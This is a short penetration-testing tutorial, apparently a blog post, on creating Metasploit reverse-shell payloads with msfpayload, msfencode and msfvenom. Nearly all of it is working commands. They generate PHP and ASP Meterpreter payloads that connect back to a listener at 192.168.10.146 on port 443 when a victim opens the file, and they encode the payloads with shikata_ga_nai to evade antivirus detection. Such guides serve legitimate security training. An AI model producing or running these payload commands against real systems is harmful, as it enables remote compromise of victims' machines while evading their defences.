Creating Shells with msfpayload, and msfvenom

msfpayload is a metasploit utility to create shell code. The shell code is used to exploit targets. These exploits can be used to create bind, and reverse shells. When coupled with msfencode, they can also be used to obsfucate the signature of the file to help avoid detection with antivirus, remove bad characters(null bytes), inject shell code into executables, and several other tasks. Below are a few examples on how to create shell code using msfpayload, as well as msfencode.

 #Create a php reverse tcp meterpreter
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.10.146 LPORT=443 R >evil.php

 #Create asp file using reverse tcp meterpreter
msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.10.146 LPORT=443 R | msfencode -o rmetshell443.asp

In both of the above examples, when the victim opens the exploit, it will attempt to establish a reverse shell by connecting to 192.168.10.146 on tcp port 443. 

For more information on both of these commands check out.
 http://www.offensive-security.com/metasploit-unleashed/Msfencode

The makers of metsploit in all of their absolute brilliance have made this even easier in a tool called msfvenom. Msfvenom is combination of both msfpayload, and msfencode.

# This command will create a reverse shell, remove null characters \x00, and # encode the file as ASP.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.146 LPORT=443 -e x86/shikata_ga_nai -b "\x00"-f asp >rmetshell443.asp